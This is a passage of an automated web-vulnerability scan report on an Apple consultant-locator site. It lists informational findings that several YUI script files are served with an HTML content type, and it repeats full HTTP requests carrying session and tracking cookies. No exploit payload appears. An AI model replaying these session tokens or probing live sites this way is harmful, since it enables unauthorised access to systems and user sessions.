ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 74126
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/
(function(){YAHOO.util.Config=function(D){if(D
...[SNIP]...
11.23. http://consultants-locator.apple.com/javascript/yui/dom.1287529288.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/dom.1287529288.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/yui/dom.1287529288.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:38 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 16067
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/
(function(){YAHOO.env._id_counter=YAHOO.env._i
...[SNIP]...
11.24. http://consultants-locator.apple.com/javascript/yui/event.1287529288.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/event.1287529288.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/yui/event.1287529288.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 91513
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/

/**
* The CustomEvent class lets you define
...[SNIP]...
11.25. http://consultants-locator.apple.com/javascript/yui/json.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/json.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /javascript/yui/json.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 2734
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2008, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.5.1
*/
YAHOO.namespace("lang");YAHOO.lang.JSON={_ESCA
...[SNIP]...
11.26. http://consultants-locator.apple.com/javascript/yui/utilities.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/utilities.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /javascript/yui/utilities.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 119446
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.8.0r4
*/
if(typeof YAHOO=="undefined"||!YAHOO){var YA
...[SNIP]...
11.27. http://consultants-locator.apple.com/javascript/yui/yahoo.1287529288.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/yahoo.1287529288.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /javascript/yui/yahoo.1287529288.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 5863
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/
if(typeof YAHOO=="undefined"||!YAHOO){var YAHO
...[SNIP]...
Report generated by XSS.CX at Wed Jul 20 05:45:13 CDT 2011.